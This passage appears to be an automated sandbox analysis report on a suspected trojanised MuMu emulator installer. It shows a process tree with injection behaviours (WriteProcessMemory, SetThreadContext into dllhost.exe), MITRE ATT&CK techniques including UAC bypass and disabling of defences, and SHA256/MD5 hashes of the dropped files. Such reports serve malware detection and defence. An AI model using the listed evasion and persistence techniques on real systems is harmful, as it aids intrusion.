        PID:3224
    - - C:\Windows\SysWOW64\prevhost.exe
        
        C:\Windows\SysWOW64\prevhost.exe
        5⤵
        
        PID:3044
    - - C:\Windows\SysWOW64\prevhost.exe
        
        C:\Windows\SysWOW64\prevhost.exe
        5⤵
        
        PID:5532
    - - C:\Windows\SysWOW64\prevhost.exe
        
        C:\Windows\SysWOW64\prevhost.exe
        5⤵
        
        PID:572
    - - C:\Windows\SysWOW64\prevhost.exe
        
        C:\Windows\SysWOW64\prevhost.exe
        5⤵
        
        PID:5708
    - - C:\Windows\SysWOW64\prevhost.exe
        
        C:\Windows\SysWOW64\prevhost.exe
        5⤵
        
        PID:3956
    - - C:\Windows\SysWOW64\prevhost.exe
        
        C:\Windows\SysWOW64\prevhost.exe
        5⤵
        
        PID:5264
    - - C:\Windows\SysWOW64\prevhost.exe
        
        C:\Windows\SysWOW64\prevhost.exe
        5⤵
        
        PID:1776
    - - C:\Windows\SysWOW64\prevhost.exe
        
        C:\Windows\SysWOW64\prevhost.exe
        5⤵
        
        PID:5580
    - - C:\Windows\SysWOW64\prevhost.exe
        
        C:\Windows\SysWOW64\prevhost.exe
        5⤵
        
        PID:4204
    - - C:\Windows\SysWOW64\prevhost.exe
        
        C:\Windows\SysWOW64\prevhost.exe
        5⤵
        
        PID:2736
    - - C:\Windows\SysWOW64\prevhost.exe
        
        C:\Windows\SysWOW64\prevhost.exe
        5⤵
        
        PID:3032
- - C:\Program Files\Your Product\MuMu_Ä£ÄâÆ÷.exe
    "C:\Program Files\Your Product\MuMu_Ä£ÄâÆ÷.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1916
  - - C:\Users\Admin\AppData\Local\Temp\7z97A9E77C\nemu-downloader.exe
      C:\Users\Admin\AppData\Local\Temp\7z97A9E77C\nemu-downloader.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Enumerates connected drives
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1572
    - - C:\Users\Admin\AppData\Local\Temp\7z97A9E77C\crashpad_handler.exe
        
        C:\Users\Admin\AppData\Local\Temp\7z97A9E77C\crashpad_handler.exe --no-rate-limit --database=C:\Users\Admin\AppData\Local\NemuServer\.sentry-native --metrics-dir=C:\Users\Admin\AppData\Local\NemuServer\.sentry-native --url=https://sentry.netease.com:443/api/324/minidump/?sentry_client=sentry.native/0.5.0&sentry_key=02fc884050864ef68fb1d7655e21d3a1 --attachment=C:\Users\Admin\AppData\Local\NemuServer\.sentry-native\02be7018-70ab-4907-323e-564b0ea0911c.run\__sentry-event --attachment=C:\Users\Admin\AppData\Local\NemuServer\.sentry-native\02be7018-70ab-4907-323e-564b0ea0911c.run\__sentry-breadcrumb1 --attachment=C:\Users\Admin\AppData\Local\NemuServer\.sentry-native\02be7018-70ab-4907-323e-564b0ea0911c.run\__sentry-breadcrumb2 --initial-client-data=0x394,0x398,0x39c,0x370,0x3a0,0x72a54800,0x72a54818,0x72a54828
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:5392
    - - C:\Users\Admin\AppData\Local\Temp\7z97A9E77C\ColaBoxChecker.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7z97A9E77C\ColaBoxChecker.exe" checker /baseboard
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3272
    - - C:\Users\Admin\AppData\Local\Temp\7z97A9E77C\HyperVChecker.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7z97A9E77C\HyperVChecker.exe"
        5⤵
        Executes dropped EXE
        
        PID:5704
    - - C:\Users\Admin\AppData\Local\Temp\7z97A9E77C\HyperVChecker.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7z97A9E77C\HyperVChecker.exe"
        5⤵
        Executes dropped EXE
        
        PID:4904
    - - C:\Users\Admin\AppData\Local\Temp\7z97A9E77C\HyperVChecker.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7z97A9E77C\HyperVChecker.exe"
        5⤵
        Executes dropped EXE
        
        PID:3552

C:\Users\Admin\AppData\Local\iusb3mon.exe
C:\Users\Admin\AppData\Local\iusb3mon.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5616
- C:\Windows\SysWOW64\dllhost.exe
  "C:\Windows\SysWOW64\dllhost.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1004

C:\Users\Admin\AppData\Local\iusb3mon.exe
"C:\Users\Admin\AppData\Local\iusb3mon.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1216
- C:\Windows\SysWOW64\dllhost.exe
  "C:\Windows\SysWOW64\dllhost.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1876

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

MuMu_Ä£ÄâÆ÷.exe

Path C:\Program Files\Your Product\MuMu_Ä£ÄâÆ÷.exe
Size 5.8MB
SHA256 8dfe6f7a489e96e3280ae168a8b1b09e4926b07a67979774fa305d546d564ad8
MD5 d9153e6189842c8c93e356faa89428bf
SHA1 89880243783e15b209a56d99f82418bb7ef52795
SHA512 98a2b0b1268a80e9c767dd1578bc4a4b7d1c7da2234f2ad6af2d7f616e8937f3cccccde1fb436580b809e00470dc8d1c837aa969e920539b3a3c32563be91cda
SSDEEP 98304:ve76uFFkOuPTRc+f+E2Bk3PndGaX6tJJQv2FKA75ObVc99VCOxecc02vDRZTEL:276uFFkOuPlB+xGo3u0VWjcc02vVZoL
TLSH
T1EF56239296017376D40E5DFC556D87BAFE637CEEA948284211CEF1ABB0E81201F94DCB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ziliao.jpg

Path C:\Users\Admin\AppData\Local\Local\ziliao.jpg
Size 305KB
SHA256 5f7f150dde9d6cf9d21c7926d4e5c670ad1d7f5002020629e2aa11c0e4fbbd87
MD5 0751be4cd300312397e85026d1c722d5
SHA1 c8f368b788081f50d0d1b4e2c15c0ab22d5223e0
SHA512 76aae83c7a0f342f21248eca56c81c90c5455d68507fa1cb768856e2702192996c20a32e5693585e516f2d1b354b6f374646ee3247688ceab5ec3b6e31e6060e
SSDEEP 6144:tpkpaHcQNWzB9T3Cvty617n7l3OMuN6qPS6dCQXOb8+3UuAc2WFCp57:tcRDTSl9xMdNZdYUrcjCpJ
TLSH
T1C3642236ACB7E782B68907778476D19A0CEF01360D69F810BC57EDCC7D8875A4AA0367
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download